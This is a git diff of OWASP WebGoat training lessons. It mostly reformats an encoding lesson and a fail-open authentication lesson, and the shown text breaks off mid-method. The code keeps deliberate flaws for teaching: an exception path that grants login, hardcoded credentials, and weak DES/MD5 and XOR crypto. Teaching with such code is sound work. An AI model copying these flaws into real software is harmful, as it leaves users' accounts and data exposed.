- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- protected Element createContent( WebSession s )
+ protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
@@ -186,221 +179,220 @@ public class Encoding extends LessonAdapter
try
{
- String userInput = s.getParser().getRawParameter( INPUT, "" );
+ String userInput = s.getParser().getRawParameter(INPUT, "");
- String userKey = s.getParser().getStringParameter( KEY, "" );
+ String userKey = s.getParser().getStringParameter(KEY, "");
Table table = new Table();
TR tr = new TR();
- tr.addElement( new TD( "Enter a string: " ) );
+ tr.addElement(new TD("Enter a string: "));
- Input input = new Input( Input.TEXT, INPUT, userInput );
+ Input input = new Input(Input.TEXT, INPUT, userInput);
- tr.addElement( new TD().addElement( input ) );
+ tr.addElement(new TD().addElement(input));
- table.addElement( tr );
+ table.addElement(tr);
tr = new TR();
- tr.addElement( new TD( "Enter a password (optional): " ) );
+ tr.addElement(new TD("Enter a password (optional): "));
- Input key = new Input( Input.TEXT, KEY, userKey );
+ Input key = new Input(Input.TEXT, KEY, userKey);
- tr.addElement( new TD().addElement( key ) );
+ tr.addElement(new TD().addElement(key));
- table.addElement( tr );
+ table.addElement(tr);
tr = new TR();
- Element b = ECSFactory.makeButton( "Go!" );
+ Element b = ECSFactory.makeButton("Go!");
- tr.addElement( new TD().setAlign( "center" ).setColSpan( 2 ).addElement( b ) );
+ tr.addElement(new TD().setAlign("center").setColSpan(2).addElement(b));
- table.addElement( tr );
+ table.addElement(tr);
- ec.addElement( table );
+ ec.addElement(table);
- ec.addElement( new P() );
+ ec.addElement(new P());
Table t = new Table();
- t.setWidth( "100%" );
+ t.setWidth("100%");
- t.setBorder( 0 );
+ t.setBorder(0);
- t.setCellSpacing( 1 );
+ t.setCellSpacing(1);
- t.setCellPadding( 4 );
+ t.setCellPadding(4);
String description;
- t.addElement( makeTitleRow( "Description", "Encoded", "Decoded" ) );
+ t.addElement(makeTitleRow("Description", "Encoded", "Decoded"));
description = "Base64 encoding is a simple reversable encoding used to encode bytes into ASCII characters. Useful for making bytes into a printable string, but provides no security.";
-// t.addElement( makeDescriptionRow( description ) );
- t.addElement( makeRow( description, base64Encode( userInput ), base64Decode( userInput ) ) );
-// t.addElement( makeSpacerRow() );
+ // t.addElement( makeDescriptionRow( description ) );
+ t.addElement(makeRow(description, base64Encode(userInput), base64Decode(userInput)));
+ // t.addElement( makeSpacerRow() );
description = "Entity encoding uses special sequences like & for special characters. This prevents these characters from being interpreted by most interpreters.";
- t.addElement( makeRow( description, HtmlEncoder.encode( userInput ), HtmlEncoder.decode( userInput ) ) );
+ t.addElement(makeRow(description, HtmlEncoder.encode(userInput), HtmlEncoder.decode(userInput)));
description = "Password based encryption (PBE) is strong encryption with a text password. Cannot be decrypted without the password";
- t.addElement( makeRow( description, encryptString( userInput, userKey ), decryptString( userInput, userKey ) ) );
+ t.addElement(makeRow(description, encryptString(userInput, userKey), decryptString(userInput, userKey)));
description = "MD5 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes. For obscure cryptographic reasons, it is better to use SHA-256 if you have a choice.";
- t.addElement( makeRow( description, hashMD5( userInput ), "Cannot reverse a hash" ) );
-
+ t.addElement(makeRow(description, hashMD5(userInput), "Cannot reverse a hash"));
+
description = "SHA-256 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes.";
- t.addElement( makeRow( description, hashSHA( userInput ), "N/A" ) );
-
+ t.addElement(makeRow(description, hashSHA(userInput), "N/A"));
+
description = "Unicode encoding is...";
- t.addElement( makeRow( description, "Not Implemented", "Not Implemented" ) );
-
+ t.addElement(makeRow(description, "Not Implemented", "Not Implemented"));
+
description = "URL encoding is...";
- t.addElement( makeRow( description, urlEncode( userInput ), urlDecode( userInput ) ) );
-
+ t.addElement(makeRow(description, urlEncode(userInput), urlDecode(userInput)));
+
description = "Hex encoding simply encodes bytes into %xx format.";
- t.addElement( makeRow( description, hexEncode( userInput ), hexDecode( userInput ) ) );
-
+ t.addElement(makeRow(description, hexEncode(userInput), hexDecode(userInput)));
+
description = "Rot13 encoding is a way to make text unreadable, but is easily reversed and provides no security.";
- t.addElement( makeRow( description, rot13( userInput ), rot13( userInput ) ) );
-
+ t.addElement(makeRow(description, rot13(userInput), rot13(userInput)));
+
description = "XOR with password encoding is a weak encryption scheme that mixes a password into data.";
- t.addElement( makeRow( description, xorEncode( userInput, userKey ), xorDecode( userInput, userKey ) ) );
-
+ t.addElement(makeRow(description, xorEncode(userInput, userKey), xorDecode(userInput, userKey)));
+
description = "Double unicode encoding is...";
- t.addElement( makeRow( description, "Not Implemented", "Not Implemented" ) );
-
+ t.addElement(makeRow(description, "Not Implemented", "Not Implemented"));
+
description = "Double URL encoding is...";
- t.addElement( makeRow( description, urlEncode( urlEncode( userInput ) ), urlDecode( urlDecode( userInput ) ) ) );
-
- ec.addElement( t );
+ t.addElement(makeRow(description, urlEncode(urlEncode(userInput)), urlDecode(urlDecode(userInput))));
+
+ ec.addElement(t);
}
- catch ( Exception e )
+ catch (Exception e)
{
- s.setMessage( "Error generating " + this.getClass().getName() );
+ s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
- if ( getLessonTracker( s ).getNumVisits() > 3 )
+ if (getLessonTracker(s).getNumVisits() > 3)
{
- makeSuccess( s );
+ makeSuccess(s);
}
- return ( ec );
+ return (ec);
}
-
-
/**
- * Convenience method for encrypting a string.
- *
- * @param str Description of the Parameter
- * @param pw Description of the Parameter
- * @return String the encrypted string.
+ * Convenience method for encrypting a string.
+ *
+ * @param str
+ * Description of the Parameter
+ * @param pw
+ * Description of the Parameter
+ * @return String the encrypted string.
*/
- public static synchronized String decryptString( String str, String pw )
+ public static synchronized String decryptString(String str, String pw)
{
try
{
- PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec( salt, 20 );
+ PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec(salt, 20);
- SecretKeyFactory kf = SecretKeyFactory.getInstance( "PBEWithMD5AndDES" );
+ SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
- Cipher passwordDecryptCipher = Cipher.getInstance( "PBEWithMD5AndDES/CBC/PKCS5Padding" );
+ Cipher passwordDecryptCipher = Cipher.getInstance("PBEWithMD5AndDES/CBC/PKCS5Padding");
char[] pass = pw.toCharArray();
- SecretKey k = kf.generateSecret( new javax.crypto.spec.PBEKeySpec( pass ) );
+ SecretKey k = kf.generateSecret(new javax.crypto.spec.PBEKeySpec(pass));
- passwordDecryptCipher.init( Cipher.DECRYPT_MODE, k, ps );
+ passwordDecryptCipher.init(Cipher.DECRYPT_MODE, k, ps);
- byte[] dec = decoder.decodeBuffer( str );
+ byte[] dec = decoder.decodeBuffer(str);
- byte[] utf8 = passwordDecryptCipher.doFinal( dec );
+ byte[] utf8 = passwordDecryptCipher.doFinal(dec);
- return new String( utf8, "UTF-8" );
+ return new String(utf8, "UTF-8");
}
- catch ( Exception e )
+ catch (Exception e)
{
- return ( "This is not an encrypted string" );
+ return ("This is not an encrypted string");
}
}
-
-
/**
- * Convenience method for encrypting a string.
- *
- * @param str Description of the Parameter
- * @param pw Description of the Parameter
- * @return String the encrypted string.
- * @exception SecurityException Description of the Exception
+ * Convenience method for encrypting a string.
+ *
+ * @param str
+ * Description of the Parameter
+ * @param pw
+ * Description of the Parameter
+ * @return String the encrypted string.
+ * @exception SecurityException
+ * Description of the Exception
*/
- public static synchronized String encryptString( String str, String pw ) throws SecurityException
+ public static synchronized String encryptString(String str, String pw) throws SecurityException
{
try
{
- PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec( salt, 20 );
+ PBEParameterSpec ps = new javax.crypto.spec.PBEParameterSpec(salt, 20);
- SecretKeyFactory kf = SecretKeyFactory.getInstance( "PBEWithMD5AndDES" );
+ SecretKeyFactory kf = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
- Cipher passwordEncryptCipher = Cipher.getInstance( "PBEWithMD5AndDES/CBC/PKCS5Padding" );
+ Cipher passwordEncryptCipher = Cipher.getInstance("PBEWithMD5AndDES/CBC/PKCS5Padding");
char[] pass = pw.toCharArray();
- SecretKey k = kf.generateSecret( new javax.crypto.spec.PBEKeySpec( pass ) );
+ SecretKey k = kf.generateSecret(new javax.crypto.spec.PBEKeySpec(pass));
- passwordEncryptCipher.init( Cipher.ENCRYPT_MODE, k, ps );
+ passwordEncryptCipher.init(Cipher.ENCRYPT_MODE, k, ps);
- byte[] utf8 = str.getBytes( "UTF-8" );
+ byte[] utf8 = str.getBytes("UTF-8");
- byte[] enc = passwordEncryptCipher.doFinal( utf8 );
+ byte[] enc = passwordEncryptCipher.doFinal(utf8);
- return encoder.encode( enc );
+ return encoder.encode(enc);
}
- catch ( Exception e )
+ catch (Exception e)
{
- return ( "Encryption error" );
+ return ("Encryption error");
}
}
-
-
/**
- * Gets the category attribute of the Encoding object
- *
- * @return The category value
+ * Gets the category attribute of the Encoding object
+ *
+ * @return The category value
*/
protected Category getDefaultCategory()
@@ -408,29 +400,26 @@ public class Encoding extends LessonAdapter
return Category.INSECURE_STORAGE;
}
-
/**
- * Gets the hints attribute of the HelloScreen object
- *
- * @return The hints value
+ * Gets the hints attribute of the HelloScreen object
+ *
+ * @return The hints value
*/
public List getHints(WebSession s)
{
List hints = new ArrayList();
- hints.add( "Enter a string and press 'go'" );
- hints.add( "Enter 'abc' and notice the rot13 encoding is 'nop' ( increase each letter by 13 characters )." );
- hints.add( "Enter 'a c' and notice the url encoding is 'a+c' ( ' ' is converted to '+' )." );
+ hints.add("Enter a string and press 'go'");
+ hints.add("Enter 'abc' and notice the rot13 encoding is 'nop' ( increase each letter by 13 characters ).");
+ hints.add("Enter 'a c' and notice the url encoding is 'a+c' ( ' ' is converted to '+' ).");
return hints;
}
-
-
/**
- * Gets the instructions attribute of the Encoding object
- *
- * @return The instructions value
+ * Gets the instructions attribute of the Encoding object
+ *
+ * @return The instructions value
*/
public String getInstructions(WebSession s)
@@ -438,10 +427,6 @@ public class Encoding extends LessonAdapter
return "This lesson will familiarize the user with different encoding schemes. ";
}
-
-
-
-
private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
@@ -450,26 +435,25 @@ public class Encoding extends LessonAdapter
}
/**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
*/
public String getTitle()
{
- return ( "Encoding Basics" );
+ return ("Encoding Basics");
}
-
-
/**
- * Returns the MD5 hash of a String.
- *
- * @param str Description of the Parameter
- * @return Description of the Return Value
+ * Returns the MD5 hash of a String.
+ *
+ * @param str
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String hashMD5( String str )
+ public static String hashMD5(String str)
{
byte[] b = str.getBytes();
@@ -477,340 +461,325 @@ public class Encoding extends LessonAdapter
try
{
- md = MessageDigest.getInstance( "MD5" );
- md.update( b );
- }
- catch ( NoSuchAlgorithmException e )
+ md = MessageDigest.getInstance("MD5");
+ md.update(b);
+ } catch (NoSuchAlgorithmException e)
{
// it's got to be there
e.printStackTrace();
}
- return ( base64Encode( md.digest() ) );
+ return (base64Encode(md.digest()));
}
-
-
/**
- * Returns the SHA hash of a String.
- *
- * @param str Description of the Parameter
- * @return Description of the Return Value
+ * Returns the SHA hash of a String.
+ *
+ * @param str
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String hashSHA( String str )
+ public static String hashSHA(String str)
{
byte[] b = str.getBytes();
MessageDigest md = null;
try
{
- md = MessageDigest.getInstance( "SHA-256" );
- md.update( b );
- }
- catch ( NoSuchAlgorithmException e )
+ md = MessageDigest.getInstance("SHA-256");
+ md.update(b);
+ } catch (NoSuchAlgorithmException e)
{
// it's got to be there
e.printStackTrace();
}
- return ( base64Encode( md.digest() ) );
+ return (base64Encode(md.digest()));
}
-
-
/**
- * Description of the Method
- *
- * @param hexString Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param hexString
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String hexDecode( String hexString )
+ public static String hexDecode(String hexString)
{
try
{
- if ( ( hexString.length() % 3 ) != 0 )
- {
- return ( "String not comprised of Hex digit pairs." );
- }
+ if ((hexString.length() % 3) != 0) { return ("String not comprised of Hex digit pairs."); }
char[] chars = new char[hexString.length()];
char[] convChars = new char[hexString.length() / 3];
- hexString.getChars( 0, hexString.length(), chars, 0 );
- for ( int i = 1; i < hexString.length(); i += 3 )
+ hexString.getChars(0, hexString.length(), chars, 0);
+ for (int i = 1; i < hexString.length(); i += 3)
{
- String hexToken = new String( chars, i, 2 );
- convChars[i / 3] = (char) Integer.parseInt( hexToken, 16 );
+ String hexToken = new String(chars, i, 2);
+ convChars[i / 3] = (char) Integer.parseInt(hexToken, 16);
}
- return new String( convChars );
- }
- catch ( NumberFormatException nfe )
+ return new String(convChars);
+ } catch (NumberFormatException nfe)
{
- return ( "String not comprised of Hex digits" );
+ return ("String not comprised of Hex digits");
}
}
-
-
/**
- * Description of the Method
- *
- * @param asciiString Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param asciiString
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String hexEncode( String asciiString )
+ public static String hexEncode(String asciiString)
{
char[] ascii = new char[asciiString.length()];
- asciiString.getChars( 0, asciiString.length(), ascii, 0 );
+ asciiString.getChars(0, asciiString.length(), ascii, 0);
StringBuffer hexBuff = new StringBuffer();
- for ( int i = 0; i < asciiString.length(); i++ )
+ for (int i = 0; i < asciiString.length(); i++)
{
- hexBuff.append( "%" );
- hexBuff.append( Integer.toHexString( ascii[i] ) );
+ hexBuff.append("%");
+ hexBuff.append(Integer.toHexString(ascii[i]));
}
return hexBuff.toString().toUpperCase();
}
-
-
/**
- * The main program for the Encoding class
- *
- * @param args The command line arguments
+ * The main program for the Encoding class
+ *
+ * @param args
+ * The command line arguments
*/
- public static void main( String[] args )
+ public static void main(String[] args)
{
try
{
String userInput = args[0];
String userKey = args[1];
- System.out.println( "Working with: " + userInput );
- System.out.print( "Base64 encoding: " );
- System.out.println( base64Encode( userInput ) + " : " + base64Decode( userInput ) );
- System.out.print( "Entity encoding: " );
- System.out.println( HtmlEncoder.encode( userInput ) + " : " + HtmlEncoder.decode( userInput ) );
- System.out.print( "Password based encryption (PBE): " );
- System.out.println( encryptString( userInput, userKey ) + " : " + decryptString( userInput, userKey ) );
- System.out.print( "MD5 hash: " );
- System.out.println( hashMD5( userInput ) + " : " + "Cannot reverse a hash" );
- System.out.print( "SHA-256 hash: " );
- System.out.println( hashSHA( userInput ) + " : " + "Cannot reverse a hash" );
- System.out.print( "Unicode encoding: " );
- System.out.println( "Not Implemented" + " : " + "Not Implemented" );
- System.out.print( "URL encoding: " );
- System.out.println( urlEncode( userInput ) + " : " + urlDecode( userInput ) );
- System.out.print( "Hex encoding: " );
- System.out.println( hexEncode( userInput ) + " : " + hexDecode( userInput ) );
- System.out.print( "Rot13 encoding: " );
- System.out.println( rot13( userInput ) + " : " + rot13( userInput ) );
- System.out.print( "XOR with password: " );
- System.out.println( xorEncode( userInput, userKey ) + " : " + xorDecode( userInput, userKey ) );
- System.out.print( "Double unicode encoding is..." );
- System.out.println( "Not Implemented" + " : " + "Not Implemented" );
- System.out.print( "Double URL encoding: " );
- System.out.println( urlEncode( urlEncode( userInput ) ) + " : " + urlDecode( urlDecode( userInput ) ) );
- }
- catch ( Exception e )
+ System.out.println("Working with: " + userInput);
+ System.out.print("Base64 encoding: ");
+ System.out.println(base64Encode(userInput) + " : " + base64Decode(userInput));
+ System.out.print("Entity encoding: ");
+ System.out.println(HtmlEncoder.encode(userInput) + " : " + HtmlEncoder.decode(userInput));
+ System.out.print("Password based encryption (PBE): ");
+ System.out.println(encryptString(userInput, userKey) + " : " + decryptString(userInput, userKey));
+ System.out.print("MD5 hash: ");
+ System.out.println(hashMD5(userInput) + " : " + "Cannot reverse a hash");
+ System.out.print("SHA-256 hash: ");
+ System.out.println(hashSHA(userInput) + " : " + "Cannot reverse a hash");
+ System.out.print("Unicode encoding: ");
+ System.out.println("Not Implemented" + " : " + "Not Implemented");
+ System.out.print("URL encoding: ");
+ System.out.println(urlEncode(userInput) + " : " + urlDecode(userInput));
+ System.out.print("Hex encoding: ");
+ System.out.println(hexEncode(userInput) + " : " + hexDecode(userInput));
+ System.out.print("Rot13 encoding: ");
+ System.out.println(rot13(userInput) + " : " + rot13(userInput));
+ System.out.print("XOR with password: ");
+ System.out.println(xorEncode(userInput, userKey) + " : " + xorDecode(userInput, userKey));
+ System.out.print("Double unicode encoding is...");
+ System.out.println("Not Implemented" + " : " + "Not Implemented");
+ System.out.print("Double URL encoding: ");
+ System.out.println(urlEncode(urlEncode(userInput)) + " : " + urlDecode(urlDecode(userInput)));
+ } catch (Exception e)
{
e.printStackTrace();
}
}
-
-
/**
- * Description of the Method
- *
- * @param value1 Description of the Parameter
- * @param value2 Description of the Parameter
- * @param description Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param value1
+ * Description of the Parameter
+ * @param value2
+ * Description of the Parameter
+ * @param description
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- private TR makeRow( String description, String value1, String value2 )
+ private TR makeRow(String description, String value1, String value2)
{
- TD desc = new TD().addElement( description ).setBgColor( "#bbbbbb" );
- TD val1 = new TD().addElement( value1 ).setBgColor( "#dddddd" );
- TD val2 = new TD().addElement( value2 ).setBgColor( "#dddddd" );
+ TD desc = new TD().addElement(description).setBgColor("#bbbbbb");
+ TD val1 = new TD().addElement(value1).setBgColor("#dddddd");
+ TD val2 = new TD().addElement(value2).setBgColor("#dddddd");
TR tr = new TR();
- tr.addElement( desc );
- tr.addElement( val1 );
- tr.addElement( val2 );
+ tr.addElement(desc);
+ tr.addElement(val1);
+ tr.addElement(val2);
return tr;
}
-
/**
- * Description of the Method
- *
- * @param value1 Description of the Parameter
- * @param value2 Description of the Parameter
- * @param description Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param value1
+ * Description of the Parameter
+ * @param value2
+ * Description of the Parameter
+ * @param description
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- private TR makeTitleRow( String description, String value1, String value2 )
+ private TR makeTitleRow(String description, String value1, String value2)
{
- TD desc = new TD().addElement( new B().addElement( description ) );
- TD val1 = new TD().addElement( new B().addElement( value1 ) );
- TD val2 = new TD().addElement( new B().addElement( value2 ) );
- desc.setAlign( "center" );
- val1.setAlign( "center" );
- val2.setAlign( "center" );
+ TD desc = new TD().addElement(new B().addElement(description));
+ TD val1 = new TD().addElement(new B().addElement(value1));
+ TD val2 = new TD().addElement(new B().addElement(value2));
+ desc.setAlign("center");
+ val1.setAlign("center");
+ val2.setAlign("center");
TR tr = new TR();
- tr.addElement( desc );
- tr.addElement( val1 );
- tr.addElement( val2 );
- return ( tr );
+ tr.addElement(desc);
+ tr.addElement(val1);
+ tr.addElement(val2);
+ return (tr);
}
-
/**
- * Description of the Method
- *
- * @param input Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param input
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static synchronized String rot13( String input )
+ public static synchronized String rot13(String input)
{
StringBuffer output = new StringBuffer();
- if ( input != null )
+ if (input != null)
{
- for ( int i = 0; i < input.length(); i++ )
+ for (int i = 0; i < input.length(); i++)
{
- char inChar = input.charAt( i );
- if ( ( inChar >= 'A' ) & ( inChar <= 'Z' ) )
+ char inChar = input.charAt(i);
+ if ((inChar >= 'A') & (inChar <= 'Z'))
{
inChar += 13;
- if ( inChar > 'Z' )
+ if (inChar > 'Z')
{
inChar -= 26;
}
}
- if ( ( inChar >= 'a' ) & ( inChar <= 'z' ) )
+ if ((inChar >= 'a') & (inChar <= 'z'))
{
inChar += 13;
- if ( inChar > 'z' )
+ if (inChar > 'z')
{
inChar -= 26;
}
}
- output.append( inChar );
+ output.append(inChar);
}
}
return output.toString();
}
-
/**
- * Description of the Method
- *
- * @param str Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param str
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String unicodeDecode( String str )
+ public static String unicodeDecode(String str)
{
// FIXME: TOTALLY EXPERIMENTAL
try
{
- ByteBuffer bbuf = ByteBuffer.allocate( str.length() );
- bbuf.put( str.getBytes() );
- Charset charset = Charset.forName( "ISO-8859-1" );
+ ByteBuffer bbuf = ByteBuffer.allocate(str.length());
+ bbuf.put(str.getBytes());
+ Charset charset = Charset.forName("ISO-8859-1");
CharsetDecoder decoder = charset.newDecoder();
- CharBuffer cbuf = decoder.decode( bbuf );
- return ( cbuf.toString() );
- }
- catch ( Exception e )
+ CharBuffer cbuf = decoder.decode(bbuf);
+ return (cbuf.toString());
+ } catch (Exception e)
{
- return ( "Encoding problem" );
+ return ("Encoding problem");
}
}
-
-
/**
- * Description of the Method
- *
- * @param str Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param str
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String unicodeEncode( String str )
+ public static String unicodeEncode(String str)
{
// FIXME: TOTALLY EXPERIMENTAL
try
{
- Charset charset = Charset.forName( "ISO-8859-1" );
+ Charset charset = Charset.forName("ISO-8859-1");
CharsetEncoder encoder = charset.newEncoder();
- ByteBuffer bbuf = encoder.encode( CharBuffer.wrap( str ) );
- return ( new String( bbuf.array() ) );
- }
- catch ( Exception e )
+ ByteBuffer bbuf = encoder.encode(CharBuffer.wrap(str));
+ return (new String(bbuf.array()));
+ } catch (Exception e)
{
- return ( "Encoding problem" );
+ return ("Encoding problem");
}
}
-
-
/**
- * Description of the Method
- *
- * @param str Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param str
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String urlDecode( String str )
+ public static String urlDecode(String str)
{
try
{
- return ( URLDecoder.decode( str, "UTF-8" ) );
- }
- catch ( Exception e )
+ return (URLDecoder.decode(str, "UTF-8"));
+ } catch (Exception e)
{
- return ( "Decoding error" );
+ return ("Decoding error");
}
}
-
-
/**
- * Description of the Method
- *
- * @param str Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param str
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String urlEncode( String str )
+ public static String urlEncode(String str)
{
try
{
- return ( URLEncoder.encode( str, "UTF-8" ) );
- }
- catch ( Exception e )
+ return (URLEncoder.encode(str, "UTF-8"));
+ } catch (Exception e)
{
- return ( "Encoding error" );
+ return ("Encoding error");
}
}
-
-
/**
- * Description of the Method
- *
- * @param input Description of the Parameter
- * @param userKey Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param input
+ * Description of the Parameter
+ * @param userKey
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static synchronized char[] xor( String input, String userKey )
+ public static synchronized char[] xor(String input, String userKey)
{
- if ( ( userKey == null ) || ( userKey.trim().length() == 0 ) )
+ if ((userKey == null) || (userKey.trim().length() == 0))
{
userKey = "Goober";
}
@@ -818,58 +787,57 @@ public class Encoding extends LessonAdapter
int keyLen = xorChars.length;
char[] inputChars = null;
char[] outputChars = null;
- if ( input != null )
+ if (input != null)
{
inputChars = input.toCharArray();
outputChars = new char[inputChars.length];
- for ( int i = 0; i < inputChars.length; i++ )
+ for (int i = 0; i < inputChars.length; i++)
{
- outputChars[i] = (char) ( inputChars[i] ^ xorChars[i % keyLen] );
+ outputChars[i] = (char) (inputChars[i] ^ xorChars[i % keyLen]);
}
}
return outputChars;
}
-
-
/**
- * Description of the Method
- *
- * @param input Description of the Parameter
- * @param userKey Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param input
+ * Description of the Parameter
+ * @param userKey
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static synchronized String xorDecode( String input, String userKey )
+ public static synchronized String xorDecode(String input, String userKey)
{
try
{
- String decoded = base64Decode( input );
- return new String( xor( decoded, userKey ) );
- }
- catch ( Exception e )
+ String decoded = base64Decode(input);
+ return new String(xor(decoded, userKey));
+ } catch (Exception e)
{
return "String not XOR encoded.";
}
}
-
-
/**
- * Description of the Method
- *
- * @param input Description of the Parameter
- * @param userKey Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param input
+ * Description of the Parameter
+ * @param userKey
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static synchronized String xorEncode( String input, String userKey )
+ public static synchronized String xorEncode(String input, String userKey)
{
- return base64Encode( xor( input, userKey ) );
+ return base64Encode(xor(input, userKey));
}
- public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/FailOpenAuthentication.java b/main/project/JavaSource/org/owasp/webgoat/lessons/FailOpenAuthentication.java
index d3d703804..a1bae71dd 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/FailOpenAuthentication.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/FailOpenAuthentication.java
@@ -1,193 +1,184 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.html.A;
import org.apache.ecs.html.IMG;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Jeff Williams Aspect Security
- * @created October 28, 2003
+ *
+ * @author Jeff Williams Aspect Security
+ * @created October 28, 2003
*/
public class FailOpenAuthentication extends WeakAuthenticationCookie
{
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
- boolean logout = s.getParser().getBooleanParameter(LOGOUT, false);
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
- if (logout)
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
{
- s.setMessage("Goodbye!");
- s.eatCookies();
+ boolean logout = s.getParser().getBooleanParameter(LOGOUT, false);
- return (makeLogin(s));
- }
-
- try
- {
- String username = "";
- String password = "";
-
- try
- {
- username = s.getParser().getRawParameter(USERNAME);
- password = s.getParser().getRawParameter(PASSWORD);
-
- // if credentials are bad, send the login page
- if (!"webgoat".equals(username) || !password.equals("webgoat"))
+ if (logout)
{
- s.setMessage("Invalid username and password entered.");
+ s.setMessage("Goodbye!");
+ s.eatCookies();
- return (makeLogin(s));
+ return (makeLogin(s));
}
- }
- catch (Exception e)
- {
- // The parameter was omitted. set fail open status complete
- if (username.length() > 0
- && e.getMessage().indexOf("not found") != -1)
- {
- if ((username != null) && (username.length() > 0))
- {
- makeSuccess(s);
- return (makeUser(s, username,
- "Fail Open Error Handling"));
- }
- }
- }
- // Don't let the fail open pass with a blank password.
- if (password.length() == 0)
- {
- // We make sure the username was submitted to avoid telling the user an invalid
- // username/password was entered when they first enter the lesson via the side menu.
- // This also suppresses the error if they just hit the login and both fields are empty.
- if (username.length() != 0)
+ try
{
- s.setMessage("Invalid username and password entered.");
+ String username = "";
+ String password = "";
+
+ try
+ {
+ username = s.getParser().getRawParameter(USERNAME);
+ password = s.getParser().getRawParameter(PASSWORD);
+
+ // if credentials are bad, send the login page
+ if (!"webgoat".equals(username) || !password.equals("webgoat"))
+ {
+ s.setMessage("Invalid username and password entered.");
+
+ return (makeLogin(s));
+ }
+ } catch (Exception e)
+ {
+ // The parameter was omitted. set fail open status complete
+ if (username.length() > 0 && e.getMessage().indexOf("not found") != -1)
+ {
+ if ((username != null) && (username.length() > 0))
+ {
